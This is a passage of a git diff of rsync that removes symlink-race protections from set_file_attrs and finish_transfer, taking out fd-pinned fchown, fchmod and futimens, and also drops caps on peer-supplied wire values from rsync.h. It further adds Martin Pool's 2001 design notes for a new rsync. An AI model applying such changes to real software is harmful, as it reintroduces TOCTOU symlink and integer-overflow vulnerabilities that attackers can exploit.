--backup-dir/--temp-dir/--*-dest\n-\t * leaf) has no held parent dfd, so the chmod/chown below would re-resolve the\n-\t * full path and could follow a parent component an attacker flips to a\n-\t * symlink mid-operation -- and an lchown through such a component even retags\n-\t * the planted symlink as ours (trust laundering that then defeats the\n-\t * owner-walk).  Pin the leaf inode itself with an O_NOFOLLOW open via the\n-\t * operator owner-walk resolver and drive fchmod/fchown off that fd.  A raced\n-\t * symlink leaf makes the open fail, leaving op_leaf_fd == -1: the metadata op\n-\t * is then refused, never redirected.  --insecure-links opts back out (the\n-\t * resolver in do_open_at honours it), and a genuine symlink leaf (a symlink\n-\t * backup) keeps the existing l-variant path. */\n-\t/* Gate on the INTENDED type (new_mode), not the on-disk type (sxp->st): the\n-\t * attacker controls the latter via the flip, and a dir component that has\n-\t * just been flipped to a symlink must still take the pinned path so the\n-\t * O_NOFOLLOW open refuses it -- otherwise the lchown would launder it. */\n-\top_pin = operator_path_resolve && dfd < 0 && !symlink_optout_allowed()\n-\t      && (S_ISREG(new_mode) || S_ISDIR(new_mode) || S_ISFIFO(new_mode));\n-\tif (op_pin) {\n-\t\top_leaf_fd = do_open_at(fname, O_RDONLY | O_NONBLOCK | O_NOCTTY | O_CLOEXEC, 0);\n-\t\t/* When running as root (the uid-0 trust-laundering case) an O_RDONLY open\n-\t\t * of a real owned reg/dir/fifo leaf never fails for permission reasons, so\n-\t\t * ANY failure here means the leaf is being raced (a symlink refused by\n-\t\t * O_NOFOLLOW / owner-walk -> ELOOP, or vanished mid-flip -> ENOENT):\n-\t\t * refuse, never redirect via a re-resolvable path.  --fake-super\n-\t\t * (am_root < 0) is the same: the daemon owns the freshly-staged leaf it is\n-\t\t * about to set %stat/ACL/xattr metadata on, so any open failure is a race\n-\t\t * -- refuse rather than fall through to a path-based sys_lsetxattr that a\n-\t\t * flipped parent could redirect outside the module.  A plain non-root\n-\t\t * operator (am_root == 0) can still hit a legitimate EACCES on an\n-\t\t * owned-but-unreadable leaf; there we only treat the explicit symlink-race\n-\t\t * signal (ELOOP) as a refusal and otherwise fall back to the legacy path\n-\t\t * op rather than spuriously failing a real file. */\n-\t\tif (op_leaf_fd < 0 && (am_root != 0 || errno == ELOOP))\n-\t\t\top_refuse = 1;\n-#if defined SUPPORT_XATTRS || defined SUPPORT_ACLS\n-\t\tif (op_leaf_fd >= 0)\n-\t\t\theld_fd = op_leaf_fd;\t/* xattr/ACL ops below pin to this leaf fd too */\n-#endif\n-\t}\n-\n \tif (inherit && S_ISDIR(new_mode) && sxp->st.st_mode & S_ISGID) {\n \t\t/* We just created this directory and its setgid\n \t\t * bit is on, so make sure it stays on. */\n@@ -648,8 +519,8 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \t\tnew_mode = tweak_mode(new_mode, daemon_chmod_modes);\n \n #ifdef SUPPORT_ACLS\n-\tif (preserve_acls && !S_ISLNK(file->mode) && !ACL_READY(*sxp) && !op_refuse && !xattr_refuse)\n-\t\tget_acl_fdat(held_fd, dfd, leaf, fname, sxp);\n+\tif (preserve_acls && !S_ISLNK(file->mode) && !ACL_READY(*sxp))\n+\t\tget_acl(fname, sxp);\n #endif\n \n \tchange_uid = am_root && uid_ndx && sxp->st.st_uid != (uid_t)F_OWNER(file);\n@@ -676,10 +547,7 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \t\tif (am_root >= 0) {\n \t\t\tuid_t uid = change_uid ? (uid_t)F_OWNER(file) : sxp->st.st_uid;\n \t\t\tgid_t gid = change_gid ? (gid_t)F_GROUP(file) : sxp->st.st_gid;\n-\t\t\tif ((op_leaf_fd >= 0 ? do_fchown(op_leaf_fd, uid, gid)\n-\t\t\t     : op_refuse ? (errno = ELOOP, -1)\n-\t\t\t     : dfd >= 0 ? do_lchown_atfd(dfd, leaf, uid, gid)\n-\t\t\t\t\t: do_lchown_at(fname, uid, gid)) != 0) {\n+\t\t\tif (do_lchown(fname, uid, gid) != 0) {\n \t\t\t\t/* We shouldn't have attempted to change uid\n \t\t\t\t * or gid unless have the privilege. */\n \t\t\t\trsyserr(FERROR_XFER, errno, \"%s %s failed\",\n@@ -695,12 +563,8 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \t\t\t * the destination had the setuid or setgid bits set\n \t\t\t * (due to the side effect of the chown call). */\n \t\t\tif (sxp->st.st_mode & (S_ISUID | S_ISGID)) {\n-\t\t\t\tif (dfd >= 0)\n-\t\t\t\t\tlink_stat_at(dfd, leaf, &sxp->st,\n-\t\t\t\t\t\t     keep_dirlinks && S_ISDIR(sxp->st.st_mode));\n-\t\t\t\telse\n-\t\t\t\t\tlink_stat(fname, &sxp->st,\n-\t\t\t\t\t\t  keep_dirlinks && S_ISDIR(sxp->st.st_mode));\n+\t\t\t\tlink_stat(fname, &sxp->st,\n+\t\t\t\t\t  keep_dirlinks && S_ISDIR(sxp->st.st_mode));\n \t\t\t}\n \t\t}\n \t\tif (change_uid)\n@@ -710,10 +574,10 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \t}\n \n #ifdef SUPPORT_XATTRS\n-\tif (am_root < 0 && !op_refuse && !xattr_refuse)\n-\t\tset_stat_xattr(fname, file, new_mode, held_fd);\n-\tif (preserve_xattrs && fnamecmp && !op_refuse && !xattr_refuse)\n-\t\tset_xattr(fname, file, fnamecmp, sxp, held_fd);\n+\tif (am_root < 0)\n+\t\tset_stat_xattr(fname, file, new_mode);\n+\tif (preserve_xattrs && fnamecmp)\n+\t\tset_xattr(fname, file, fnamecmp, sxp);\n #endif\n \n \tif ((omit_dir_times && S_ISDIR(sxp->st.st_mode))\n@@ -767,19 +631,7 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \t}\n #endif\n \tif (updated & (UPDATED_MTIME|UPDATED_ATIME)) {\n-\t\tint ret;\n-#ifdef HAVE_FUTIMENS\n-\t\tif (op_leaf_fd >= 0)\n-\t\t\tret = do_futimens(op_leaf_fd, &sx2.st);\n-\t\telse\n-#endif\n-\t\tif (op_refuse)\n-\t\t\tret = (errno = ELOOP, -1);\n-\t\telse {\n-\t\t\tret = dfd >= 0 ? set_times_at(dfd, leaf, &sx2.st) : -2;\n-\t\t\tif (ret == -2)\n-\t\t\t\tret = set_times(fname, &sx2.st);\n-\t\t}\n+\t\tint ret = set_times(fname, &sx2.st);\n \t\tif (ret < 0) {\n \t\t\trsyserr(FERROR_XFER, errno, \"failed to set times on %s\", full_fname(fname));\n \t\t\tgoto cleanup;\n@@ -797,19 +649,15 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \t * If set_acl() changes permission bits in the process of setting\n \t * an access ACL, it changes sxp->st.st_mode so we know whether we\n \t * need to chmod(). */\n-\tif (preserve_acls && !S_ISLNK(new_mode) && !op_refuse && !xattr_refuse) {\n-\t\tif (set_acl_fdat(held_fd, dfd, leaf, fname, file, sxp, new_mode) > 0)\n+\tif (preserve_acls && !S_ISLNK(new_mode)) {\n+\t\tif (set_acl(fname, file, sxp, new_mode) > 0)\n \t\t\tupdated |= UPDATED_ACLS;\n \t}\n #endif\n \n #ifdef HAVE_CHMOD\n \tif (!BITS_EQUAL(sxp->st.st_mode, new_mode, CHMOD_BITS)) {\n-\t\tint ret = am_root < 0 ? 0\n-\t\t\t: op_leaf_fd >= 0 ? do_fchmod(op_leaf_fd, new_mode)\n-\t\t\t: op_refuse ? (errno = ELOOP, -1)\n-\t\t\t: dfd >= 0 && !S_ISLNK(new_mode) ? do_chmod_atfd(dfd, leaf, new_mode)\n-\t\t\t: do_chmod_at(fname, new_mode);\n+\t\tint ret = am_root < 0 ? 0 : do_chmod(fname, new_mode);\n \t\tif (ret < 0) {\n \t\t\trsyserr(FERROR_XFER, errno,\n \t\t\t\t\"failed to set permissions on %s\",\n@@ -828,12 +676,6 @@ int set_file_attrs(const char *fname, struct file_struct *file, stat_x *sxp,\n \t\t\trprintf(FCLIENT, \"%s is uptodate\\n\", fname);\n \t}\n   cleanup:\n-#if defined SUPPORT_XATTRS || defined SUPPORT_ACLS\n-\tif (held_fd >= 0 && held_fd != op_leaf_fd)\t/* may alias op_leaf_fd (cross-tree) */\n-\t\tclose(held_fd);\n-#endif\n-\tif (op_leaf_fd >= 0)\n-\t\tclose(op_leaf_fd);\n \tif (sxp == &sx2)\n \t\tfree_stat_x(&sx2);\n \treturn updated;\n@@ -902,27 +744,21 @@ int finish_transfer(const char *fname, const char *fnametmp,\n \t\t\tfnamecmp = get_backup_name(fname);\n \t}\n \n-\t/* Change permissions before putting the file into place.  An absolute\n-\t * --temp-dir/--partial-dir leaves fnametmp on an operator path with no held\n-\t * dirfd, so resolve its metadata through the ownership walk (op_pin); a\n-\t * flipped temp-dir parent then can't redirect the chmod/chown/times/etc.\n-\t * (in-tree temps keep their held dirfd, so op_pin stays off there). */\n-\toperator_path_resolve = 1;\n+\t/* Change permissions before putting the file into place. */\n \tset_file_attrs(fnametmp, file, NULL, fnamecmp,\n \t\t       ok_to_set_time ? ATTRS_ACCURATE_TIME : ATTRS_SKIP_MTIME | ATTRS_SKIP_ATIME | ATTRS_SKIP_CRTIME);\n-\toperator_path_resolve = 0;\n \n \t/* move tmp file over real file */\n \tif (DEBUG_GTE(RECV, 1))\n \t\trprintf(FINFO, \"renaming %s to %s\\n\", fnametmp, fname);\n-\tret = robust_rename(fnametmp, fname, temp_copy_name, file->mode, file);\n+\tret = robust_rename(fnametmp, fname, temp_copy_name, file->mode);\n \tif (ret < 0) {\n \t\trsyserr(FERROR_XFER, errno, \"%s %s -> \\\"%s\\\"\",\n \t\t\tret == -2 ? \"copy\" : \"rename\",\n \t\t\tfull_fname(fnametmp), fname);\n \t\tif (!partialptr || (ret == -2 && temp_copy_name)\n-\t\t || robust_rename(fnametmp, partialptr, NULL, file->mode, file) < 0)\n-\t\t\tdo_unlink_at(fnametmp);\n+\t\t || robust_rename(fnametmp, partialptr, NULL, file->mode) < 0)\n+\t\t\tdo_unlink(fnametmp);\n \t\treturn 0;\n \t}\n \tif (ret == 0) {\n@@ -938,7 +774,7 @@ int finish_transfer(const char *fname, const char *fnametmp,\n \t\t       ok_to_set_time ? ATTRS_ACCURATE_TIME : ATTRS_SKIP_MTIME | ATTRS_SKIP_ATIME | ATTRS_SKIP_CRTIME);\n \n \tif (temp_copy_name) {\n-\t\tif (do_rename_at(fnametmp, fname) < 0) {\n+\t\tif (do_rename(fnametmp, fname) < 0) {\n \t\t\trsyserr(FERROR_XFER, errno, \"rename %s -> \\\"%s\\\"\",\n \t\t\t\tfull_fname(fnametmp), fname);\n \t\t\treturn 0;\ndiff --git a/rsync.h b/rsync.h\nindex adf9bf1..479ac48 100644\n--- a/rsync.h\n+++ b/rsync.h\n@@ -93,7 +93,6 @@\n #define FLAG_TIME_FAILED (1<<11)/* generator */\n #define FLAG_MOD_NSEC (1<<12)\t/* sender/receiver/generator */\n #define FLAG_GOT_DIR_FLIST (1<<13)/* sender/receiver/generator - dir_flist only */\n-#define FLAG_HLINK_WAIT (1<<14) /* generator (w/FLAG_HLINKED): counted in in_progress, pending hard-link processing */\n \n /* These flags are passed to functions but not stored. */\n \n@@ -112,7 +111,7 @@\n \n /* Update this if you make incompatible changes and ALSO update the\n  * SUBPROTOCOL_VERSION if it is not a final (official) release. */\n-#define PROTOCOL_VERSION 33\n+#define PROTOCOL_VERSION 32\n \n /* This is used when working on a new protocol version or for any unofficial\n  * protocol tweaks.  It should be a non-zero value for each pre-release repo\n@@ -164,42 +163,12 @@\n /* For compatibility with older rsyncs */\n #define OLD_MAX_BLOCK_SIZE ((int32)1 << 29)\n \n-/* Policy ceilings on attacker-controlled wire values. Picked well above any\n- * legitimate filesystem / protocol traffic but well below sizes that could\n- * cause integer overflow or DoS-grade allocations. See input_checking.txt.\n- *\n- * Note on MAX_WIRE_XATTR_DATALEN: xattr datum size is bounded only by the\n- * wire-format maximum (signed int32 varint, ~2GB). macOS resource forks\n- * are transferred as the com.apple.ResourceFork xattr and can legitimately\n- * be many GB; --max-alloc (default 1GB, configurable) is the real\n- * allocation cap. read_varint_size() still rejects negative values so a\n- * hostile peer cannot wrap to ~SIZE_MAX. */\n-#define MAX_WIRE_XATTR_COUNT   65536\n-#define MAX_WIRE_XATTR_NAMELEN 4096\n-#define MAX_WIRE_XATTR_DATALEN ((int32)0x7fffffff)\n-#define MAX_WIRE_ACL_COUNT     65536\n-#define MAX_WIRE_NSEC          999999999\n-/* MAX_WIRE_DEL_STAT is the per-category cap for read_del_stats() in main.c,\n- * which accumulates 5 wire-supplied counts into the int32 stats.deleted_files\n- * accumulator.  Capped at 2^28 so 5 * 2^28 = 1.34 GB stays under INT32_MAX\n- * (2.15 GB) with margin -- a higher cap (e.g. 2^30) would let a hostile peer\n- * supplying 3+ max-sized counts overflow the accumulator, which is signed-int\n- * UB.  2^28 is still well above any plausible real transfer's deletion count. */\n-#define MAX_WIRE_DEL_STAT      ((int32)1 << 28)\n-\n #define ROUND_UP_1024(siz) ((siz) & (1024-1) ? ((siz) | (1024-1)) + 1 : (siz))\n \n #define IOERR_GENERAL\t(1<<0) /* For backward compatibility, this must == 1 */\n #define IOERR_VANISHED\t(1<<1)\n #define IOERR_DEL_LIMIT (1<<2)\n \n-/* Mask of all currently defined IOERR_* bits.  Used to sanitize values\n- * received from a peer via MSG_IO_ERROR so a malicious peer cannot set\n- * arbitrary (undefined) bits in the local io_error, which would then be\n- * stored and re-forwarded upstream.  (Undefined bits never reach the exit\n- * code: cleanup.c maps only these defined bits onto RERR_* values.) */\n-#define IOERR_VALID_MASK (IOERR_GENERAL | IOERR_VANISHED | IOERR_DEL_LIMIT)\n-\n #define MAX_ARGS 1000\n #define MAX_BASIS_DIRS 20\n #define MAX_SERVER_ARGS (MAX_BASIS_DIRS*2 + 100)\n@@ -300,7 +269,6 @@ enum msgcode {\n \tMSG_LOG=FLOG, MSG_CLIENT=FCLIENT, /* sibling logging */\n \tMSG_REDO=9,\t/* reprocess indicated flist index */\n \tMSG_STATS=10,\t/* message has stats data for generator */\n-\tMSG_BLOCK_STATS=11,/* message has block-level stats for sender */\n \tMSG_IO_ERROR=22,/* the sending side had an I/O error */\n \tMSG_IO_TIMEOUT=33,/* tell client about a daemon's timeout value */\n \tMSG_NOOP=42,\t/* a do-nothing message (legacy protocol-30 only) */\n@@ -412,21 +380,6 @@ enum delret {\n #endif\n #endif\n \n-/* O_CLOEXEC is absent on some still-supported targets.  Defining it to zero\n- * preserves the open flags there; the test macro exercises that fallback on\n- * build hosts that provide O_CLOEXEC. */\n-#ifdef RSYNC_TEST_NO_O_CLOEXEC\n-#undef O_CLOEXEC\n-#endif\n-#ifndef O_CLOEXEC\n-#define O_CLOEXEC 0\n-#endif\n-\n-/* Exercise the O_DIRECTORY portability path on build hosts that provide it. */\n-#ifdef RSYNC_TEST_NO_O_DIRECTORY\n-#undef O_DIRECTORY\n-#endif\n-\n #ifdef HAVE_SYS_IOCTL_H\n #include <sys/ioctl.h>\n #endif\n@@ -447,16 +400,6 @@ enum delret {\n #endif\n #include <errno.h>\n \n-/* O_NOFOLLOW refuses a final-component symlink with ELOOP on Linux, EMLINK on\n- * FreeBSD, and EFTYPE on NetBSD/OpenBSD. Treat all three as \"hit a symlink\". A\n- * genuine EMLINK (too many hard links) is harmless where this is used: callers\n- * fall through to a readlink/lstat, which restores the real error. */\n-#ifdef EFTYPE\n-# define NOFOLLOW_HIT_SYMLINK(e) ((e) == ELOOP || (e) == EMLINK || (e) == EFTYPE)\n-#else\n-# define NOFOLLOW_HIT_SYMLINK(e) ((e) == ELOOP || (e) == EMLINK)\n-#endif\n-\n #ifdef HAVE_UTIME_H\n #include <utime.h>\n #endif\n@@ -732,8 +675,6 @@ typedef unsigned int size_t;\n # define SIZEOF_INT64 SIZEOF_OFF_T\n #endif\n \n-#define MAX_INT32 ((int32)0x7fffffff)\n-\n #define HT_KEY32 0\n #define HT_KEY64 1\n \n@@ -754,7 +695,7 @@ struct ht_int64_node {\n \tint64 key;\n };\n \n-#define HT_NODE(tbl, bkts, i) ((void*)((char*)(bkts) + (size_t)(i)*(tbl)->node_size))\n+#define HT_NODE(tbl, bkts, i) ((void*)((char*)(bkts) + (i)*(tbl)->node_size))\n #define HT_KEY(node, k64) ((k64)? ((struct ht_int64_node*)(node))->key \\\n \t\t\t : (int64)((struct ht_int32_node*)(node))->key)\n \n@@ -1069,7 +1010,6 @@ struct map_struct {\n #define FILTRULE_CLEAR_LIST\t(1<<18)/* this item is the \"!\" token */\n #define FILTRULE_PERISHABLE\t(1<<19)/* perishable if parent dir goes away */\n #define FILTRULE_XATTR\t\t(1<<20)/* rule only applies to xattr names */\n-#define FILTRULE_FROM_FILE\t(1<<21)/* pattern text came from a file's contents */\n \n #define FILTRULES_SIDES (FILTRULE_SENDER_SIDE | FILTRULE_RECEIVER_SIDE)\n \n@@ -1097,7 +1037,6 @@ struct stats {\n \tint64 total_read;\n \tint64 literal_data;\n \tint64 matched_data;\n-\tint64 touched_blocks_4k;\n \tint64 flist_buildtime;\n \tint64 flist_xfertime;\n \tint64 flist_size;\n@@ -1194,20 +1133,6 @@ typedef struct {\n #define NORETURN __attribute__((__noreturn__))\n #endif\n \n-/* Under --enable-coverage, gcov flushes counters via an atexit handler that\n- * _exit() bypasses.  Forked helpers that terminate via _exit() -- the\n- * pre/post-xfer-exec children, the become_daemon original process, the\n- * per-connection accept-loop child on early return -- must dump explicitly\n- * or their counters are lost, which systematically under-reports daemon-side\n- * coverage.  cleanup.c and main.c already inline this for the two main exit\n- * paths; this macro covers the rest.  No-op when not a coverage build. */\n-#ifdef GCOV_COVERAGE\n-extern void __gcov_dump(void);\n-#define gcov_flush() __gcov_dump()\n-#else\n-#define gcov_flush() ((void)0)\n-#endif\n-\n typedef struct {\n     STRUCT_STAT st;\n     time_t crtime;\ndiff --git a/rsync3.txt b/rsync3.txt\nnew file mode 100644\nindex 0000000..e21f19f\n--- /dev/null\n+++ b/rsync3.txt\n@@ -0,0 +1,467 @@\n+-*- indented-text -*-\n+\n+Notes towards a new version of rsync\n+Martin Pool <mbp@samba.org>, September 2001.\n+\n+\n+Good things about the current implementation:\n+\n+  - Widely known and adopted.\n+\n+  - Fast/efficient, especially for moderately small sets of files over\n+    slow links (transoceanic or modem.)\n+\n+  - Fairly reliable.\n+\n+  - The choice of running over a plain TCP socket or tunneling over\n+    ssh.\n+\n+  - rsync operations are idempotent: you can always run the same\n+    command twice to make sure it worked properly without any fear.\n+    (Are there any exceptions?)\n+\n+  - Small changes to files cause small deltas.\n+\n+  - There is a way to evolve the protocol to some extent.\n+\n+  - rdiff and rsync --write-batch allow generation of standalone patch\n+    sets.  rsync+ is pretty cheesy, though.  xdelta seems cleaner.\n+\n+  - Process triangle is creative, but seems to provoke OS bugs.\n+\n+  - \"Morning-after property\": you don't need to know anything on the\n+    local machine about the state of the remote machine, or about\n+    transfers that have been done in the past.\n+\n+  - You can easily push or pull simply by switching the order of\n+    files.\n+\n+  - The \"modules\" system has some neat features compared to\n+    e.g. Apache's per-directory configuration.  In particular, because\n+    you can set a userid and chroot directory, there is strong\n+    protection between different modules.  I haven't seen any calls\n+    for a more flexible system.\n+\n+\n+Bad things about the current implementation:\n+\n+  - Persistent and hard-to-diagnose hang bugs remain\n+\n+  - Protocol is sketchily documented, tied to this implementation, and\n+    hard to modify/extend\n+\n+  - Both the program and the protocol assume a single non-interactive\n+    one-way transfer\n+\n+  - A list of all files are held in memory for the entire transfer,\n+    which cripples scalability to large file trees\n+\n+  - Opening a new socket for every operation causes problems,\n+    especially when running over SSH with password authentication.\n+\n+  - Renamed files are not handled: the old file is removed, and the\n+    new file created from scratch.\n+\n+  - The versioning approach assumes that future versions of the\n+    program know about all previous versions, and will do the right\n+    thing.\n+\n+  - People always get confused about ':' vs '::'\n+\n+  - Error messages can be cryptic.\n+\n+  - Default behaviour is not intuitive: in too many cases rsync will\n+    happily do nothing.  Perhaps -a should be the default?\n+\n+  - People get confused by trailing slashes, though it's hard to think\n+    of another reasonable way to make this necessary distinction\n+    between a directory and its contents.\n+\n+\n+Protocol philosophy:\n+\n+   *The* big difference between protocols like HTTP, FTP, and NFS is\n+    that their fundamental operations are \"read this file\", \"delete\n+    this file\", and \"make this directory\", whereas rsync is \"make this\n+    directory like this one\".\n+\n+\n+Questionable features:\n+\n+  These are neat, but not necessarily clean or worth preserving.\n+\n+  - The remote rsync can be wrapped by some other program, such as in\n+    tridge's rsync-mail scripts.  The general feature of sending and\n+    retrieving mail over rsync is good, but this is perhaps not the\n+    right way to implement it.\n+\n+\n+Desirable features:\n+\n+  These don't really require architectural changes; they're just\n+  something to keep in mind.\n+\n+  - Synchronize ACLs and extended attributes\n+\n+  - Anonymous servers should be efficient\n+\n+  - Code should be portable to non-UNIX systems\n+\n+  - Should be possible to document the protocol in RFC form\n+\n+  - --dry-run option\n+\n+  - IPv6 support.  Pretty straightforward.\n+\n+  - Allow the basis and destination files to be different.  For\n+    example, you could use this when you have a CD-ROM and want to\n+    download an updated image onto a hard drive.\n+\n+  - Efficiently interrupt and restart a transfer.  We can write a\n+    checkpoint file that says where we're up to in the filesystem.\n+    Alternatively, as long as transfers are idempotent, we can just\n+    restart the whole thing.  [NFSv4]\n+\n+  - Scripting support.\n+\n+  - Propagate atimes and do not modify them.  This is very ugly on\n+    Unix.  It might be better to try to add O_NOATIME to kernels, and\n+    call that.\n+\n+  - Unicode.  Probably just use UTF-8 for everything.\n+\n+  - Open authentication system.  Can we use PAM?  Is SASL an adequate\n+    mapping of PAM to the network, or useful in some other way?\n+\n+  - Resume interrupted transfers without the --partial flag.  We need\n+    to leave the temporary file behind, and then know to use it.  This\n+    leaves a risk of large temporary files accumulating, which is not\n+    good.  Perhaps it should be off by default.\n+\n+  - tcpwrappers support.  Should be trivial; can already be done\n+    through tcpd or inetd.\n+\n+  - Socks support built in.  It's not clear this is any better than\n+    just linking against the socks library, though.\n+\n+  - When run over SSH, invoke with predictable command-line arguments,\n+    so that people can restrict what commands sshd will run.  (Is this\n+    really required?)\n+\n+  - Comparison mode: give a list of which files are new, gone, or\n+    different.  Set return code depending on whether anything has\n+    changed.\n+\n+  - Internationalized messages (gettext?)\n+\n+  - Optionally use real regexps rather than globs?\n+\n+  - Show overall progress.  Pretty hard to do, especially if we insist\n+    on not scanning the directory tree up front.\n+\n+\n+Regression testing:\n+\n+  - Support automatic testing.\n+\n+  - Have hard internal timeouts against hangs.\n+\n+  - Be deterministic.\n+\n+  - Measure performance.\n+\n+\n+Hard links:\n+\n+  At the moment, we can recreate hard links, but it's a bit\n+  inefficient: it depends on holding a list of all files in the tree.\n+  Every time we see a file with a linkcount >1, we need to search for\n+  another known name that has the same (fsid,inum) tuple.  We could do\n+  that more efficiently by keeping a list of only files with\n+  linkcount>1, and removing files from that list as all their names\n+  become known.\n+\n+\n+Command-line options:\n+\n+  We have rather a lot at the moment.  We might get more if the tool\n+  becomes more flexible.  Do we need a .rc or configuration file?\n+  That wouldn't really fit with its pattern of use: cp and tar don't\n+  have them, though ssh does.\n+\n+\n+Scripting issues:\n+\n+  - Perhaps support multiple scripting languages: candidates include\n+    Perl, Python, Tcl, Scheme (guile?), sh, ...\n+\n+  - Simply running a subprocess and looking at its stdout/exit code\n+    might be sufficient, though it could also be pretty slow if it's\n+    called often.\n+\n+  - There are security issues about running remote code, at least if\n+    it's not running in the users own account.  So we can either\n+    disallow it, or use some kind of sandbox system.\n+\n+  - Python is a good language, but the syntax is not so good for\n+    giving small fragments on the command line.\n+\n+  - Tcl is broken Lisp.\n+\n+  - Lots of sysadmins know Perl, though Perl can give some bizarre or\n+    confusing errors.  The built in stat operators and regexps might\n+    be useful.\n+\n+  - Sadly probably not enough people know Scheme.\n+\n+  - sh is hard to embed.\n+\n+\n+Scripting hooks:\n+\n+  - Whether to transfer a file\n+\n+  - What basis file to use\n+\n+  - Logging\n+\n+  - Whether to allow transfers (for public servers)\n+\n+  - Authentication\n+\n+  - Locking\n+\n+  - Cache\n+\n+  - Generating backup path/name.\n+\n+  - Post-processing of backups, e.g. to do compression.\n+\n+  - After transfer, before replacement: so that we can spit out a diff\n+    of what was changed, or kick off some kind of reconciliation\n+    process.\n+\n+\n+VFS:\n+\n+  Rather than talking straight to the filesystem, rsyncd talks through\n+  an internal API.  Samba has one.  Is it useful?\n+\n+  - Could be a tidy way to implement cached signatures.\n+\n+  - Keep files compressed on disk?\n+\n+\n+Interactive interface:\n+\n+  - Something like ncFTP, or integration into GNOME-vfs.  Probably\n+    hold a single socket connection open.\n+\n+  - Can either call us as a separate process, or as a library.\n+\n+  - The standalone process needs to produce output in a form easily\n+    digestible by a calling program, like the --emacs feature some\n+    have.  Same goes for output: rpm outputs a series of hash symbols,\n+    which are easier for a GUI to handle than \"\\r30% complete\"\n+    strings.\n+\n+  - Yow!  emacs support.  (You could probably build that already, of\n+    course.)  I'd like to be able to write a simple script on a remote\n+    machine that rsyncs it to my workstation, edits it there, then\n+    pushes it back up.\n+\n+\n+Pie-in-the-sky features:\n+\n+  These might have a severe impact on the protocol, and are not\n+  clearly in our core requirements.  It looks like in many of them\n+  having scripting hooks will allow us\n+\n+  - Transport over UDP multicast.  The hard part is handling multiple\n+    destinations which have different basis files.  We can look at\n+    multicast-TFTP for inspiration.\n+\n+  - Conflict resolution.  Possibly general scripting support will be\n+    sufficient.\n+\n+  - Integrate with locking.  It's hard to see a good general solution,\n+    because Unix systems have several locking mechanisms, and grabbing\n+    the lock from programs that don't expect it could cause deadlocks,\n+    timeouts, or other problems.  Scripting support might help.\n+\n+  - Replicate in place, rather than to a temporary file.  This is\n+    dangerous in the case of interruption, and it also means that the\n+    delta can't refer to blocks that have already been overwritten.\n+    On the other hand we could semi-trivially do this at first by\n+    simply generating a delta with no copy instructions.\n+\n+  - Replicate block devices.  Most of the difficulties here are to do\n+    with replication in place, though on some systems we will also\n+    have to do I/O on block boundaries.\n+\n+  - Peer to peer features.  Flavour of the year.  Can we think about\n+    ways for clients to smoothly and voluntarily become servers for\n+    content they receive?\n+\n+  - Imagine a situation where the destination has a much faster link\n+    to the cloud than the source.  In this case, Mojo Nation downloads\n+    interleaved blocks from several slower servers.  The general\n+    situation might be a way for a master rsync process to farm out\n+    tasks to several subjobs.  In this particular case they'd need\n+    different sockets.  This might be related to multicast.\n+\n+\n+Unlikely features:\n+\n+  - Allow remote source and destination.  If this can be cleanly\n+    designed into the protocol, perhaps with the remote machine acting\n+    as a kind of echo, then it's good.  It's uncommon enough that we\n+    don't want to shape the whole protocol around it, though.\n+\n+    In fact, in a triangle of machines there are two possibilities:\n+    all traffic passes from remote1 to remote2 through local, or local\n+    just sets up the transfer and then remote1 talks to remote2.  FTP\n+    supports the second but it's not clearly good.  There are some\n+    security problems with being able to instruct one machine to open\n+    a connection to another.\n+\n+\n+In favour of evolving the protocol:\n+\n+  - Keeping compatibility with existing rsync servers will help with\n+    adoption and testing.\n+\n+  - We should at the very least be able to fall back to the new\n+    protocol.\n+\n+  - Error handling is not so good.\n+\n+\n+In favour of using a new protocol:\n+\n+  - Maintaining compatibility might soak up development time that\n+    would better go into improving a new protocol.\n+\n+  - If we start from scratch, it can be documented as we go, and we\n+    can avoid design decisions that make the protocol complex or\n+    implementation-bound.\n+\n+\n+Error handling:\n+\n+  - Errors should come back reliably, and be clearly associated with\n+    the particular file that caused the problem.\n+\n+  - Some errors ought to cause the whole transfer to abort; some are\n+    just warnings.  If any errors have occurred, then rsync ought to\n+    return an error.\n+\n+\n+Concurrency:\n+\n+  - We want to keep the CPU, filesystem, and network as full as\n+    possible as much of the time as possible.\n+\n+  - We can do nonblocking network IO, but not so for disk.\n+\n+  - It makes sense to on the destination be generating signatures and\n+    applying patches at the same time.\n+\n+  - Can structure this with nonblocking, threads, separate processes,\n+    etc.\n+\n+\n+Uses:\n+\n+  - Mirroring software distributions:\n+\n+  - Synchronizing laptop and desktop\n+\n+  - NFS filesystem migration/replication.  See\n+    http://www.ietf.org/proceedings/00jul/00july-133.htm#P24510_1276764\n+\n+  - Sync with PDA\n+\n+  - Network backup systems\n+\n+  - CVS filemover\n+\n+\n+Conflict resolution:\n+\n+  - Requires application-specific knowledge.  We want to provide\n+    policy, rather than mechanism.\n+\n+  - Possibly allowing two-way migration across a single connection\n+    would be useful.\n+\n+\n+Moved files:\n+\n+  - There's no trivial way to detect renamed files, especially if they\n+    move between directories.\n+\n+  - If we had a picture of the remote directory from last time on\n+    either machine, then the inode numbers might give us a hint about\n+    files which may have been renamed.\n+\n+  - Files that are renamed and not modified can be detected by\n+    examining the directory listing, looking for files with the same\n+    size/date as the origin.\n+\n+\n+Filesystem migration:\n+\n+  NFSv4 probably wants to migrate file locks, but that's not really\n+  our problem.\n+\n+\n+Atomic updates:\n+\n+  The NFSv4 working group wants atomic migration.  Most of the\n+  responsibility for this lies on the NFS server or OS.\n+\n+  If migrating a whole tree, then we could do a nearly-atomic rename\n+  at the end.  This ties in to having separate basis and destination\n+  files.\n+\n+  There's no way in Unix to replace a whole set of files atomically.\n+  However, if we get them all onto the destination machine and then do\n+  the updates quickly it would greatly reduce the window.\n+\n+\n+Scalability:\n+\n+  We should aim to work well on machines in use in a year or two.\n+  That probably means transfers of many millions of files in one\n+  batch, and gigabytes or terabytes of data.\n+\n+  For argument's sake: at the low end, we want to sync ten files for a\n+  total of 10kb across a 1kB/s link.  At the high end, we want to sync\n+  1e9 files for 1TB of data across a 1GB/s link.\n+\n+  On the whole CPU usage is not normally a limiting factor, if only\n+  because running over SSH burns a lot of cycles on encryption.\n+\n+  Perhaps have resource throttling without relying on rlimit.\n+\n+\n+Streaming:\n+\n+  A big attraction of rsync is that there are few round-trip delays:\n+  